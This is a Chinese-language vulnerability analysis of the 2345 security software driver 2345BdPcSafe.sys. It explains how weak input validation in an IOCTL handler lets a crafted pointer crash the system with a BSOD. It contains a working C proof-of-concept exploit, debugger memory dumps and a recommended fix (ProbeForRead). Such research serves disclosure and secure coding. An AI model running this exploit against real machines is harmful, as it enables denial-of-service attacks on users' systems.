漏洞概述
- 軟件網址:http://safe.2345.cc/
- 版本:v3.7 X64
2345安全軟件的驅動2345BdPcSafe.sys在ioctl(0x002220E4)接口處理中,對輸入數據校驗不嚴格,可構造數據中包含非法地址導致訪問違例,然後bsod拒絕服務。
漏洞分析
在IRP_MJ_DEVICE_CONTROL
處理函數中,對0x2220E4
接口進行處理時如下所示:
InputBuf
是應用層傳入的輸入緩存內容,校驗InputBuf
是否爲空,長度是否超過8字節,然後通過MmIsAddressValid
驗證地址是否合法,合法後通過偏移16訪問該內存內容是否等於標記li7p
。
問題就出在這裏,MmIsAddressValid
並不能驗證一個內存某範圍內是否可讀可寫,僅僅只能驗證該地址讀寫是否會觸發一個頁錯誤。
所以我們就可以構造一個可通過MmIsAddressValid
驗證並且地址16偏移不可讀的內存作爲輸入,造成bsod。
看下面的poc代碼,通過VirtualAlloc
分配一個頁大小的內存,可讀可寫,然後計算頁地址尾地址-4作爲輸入緩存的ptr,這樣MmIsAddressValid
可通過校驗,再內核讀取ptr+16偏移時地址已經超過該頁內存範圍,不可訪問,導致bsod。
int poc()
{
DWORD BytesReturned = 0;
HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
if (h == INVALID_HANDLE_VALUE) {
return 1;
}
//過白名單檢查
if (!BypassChk(h)) {
return 1;
}
//BSOD
DWORD ctlcode = 0x2220E4;
#pragma pack(push,1)
struct _ioctl_buf_in
{
__int64 ptr;
};
#pragma pack(pop)
_ioctl_buf_in buff = { 0 };
//分配一個頁,可讀可寫,將該頁地址尾地址-4作爲輸入緩存的ptr
//然後讀取+16偏移時地址已經越過該頁內存範圍,不可訪問,bsod
PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
memset(ptr, 0x41, 0x1000);//
buff.ptr = (__int64)ptr + 0x1000 - 0x4;
if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, sizeof(_ioctl_buf_in), &BytesReturned, NULL)) {
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
}
return 0;
}
看看內存更加清晰,buff
地址是003efea0
,buff.ptr
的值是00030ffc
,可以清楚看到00030ffc
+16偏移處肯定是不可讀的了。
0: kd:x86> dd 003efe3c
00000000`003efe3c 003efe68 75db3237 00000030 002220e4
00000000`003efe4c 003efea0 00000008 003efea0 00000008
0: kd:x86> dd 003efea0
00000000`003efea0 00030ffc 00000000 01234808 003efef8
0: kd:x86> dd 00030ffc
00000000`00030ffc 41414141 ???????? ???????? ????????
00000000`0003100c ???????? ???????? ???????? ????????
結語
這個漏洞算是前一個的延申,依然是應用層傳入內容中包括內存地址,也加入了內存合法性驗證代碼,但是卻沒什麼用,並沒有驗證到要訪問的內存處的合法性,這個疏漏導致了漏洞的產生。
更好的驗證內存合法性的函數應該使用ProbeForRead(p, len, x)
,可以驗證一個範圍內內存的合法性,更加嚴謹,能更好的避免漏洞的產生。
稍微總結一下,應用層傳入內容結構越複雜,越容易出現問題。這個漏洞出現的位置,本來應該是2345接口協議驗證的代碼,是爲了增加安全性的,卻不想成爲了安全性問題的原因。
該系列後續會繼續分析其他原因引起的漏洞,如有興趣,敬請期待!
參考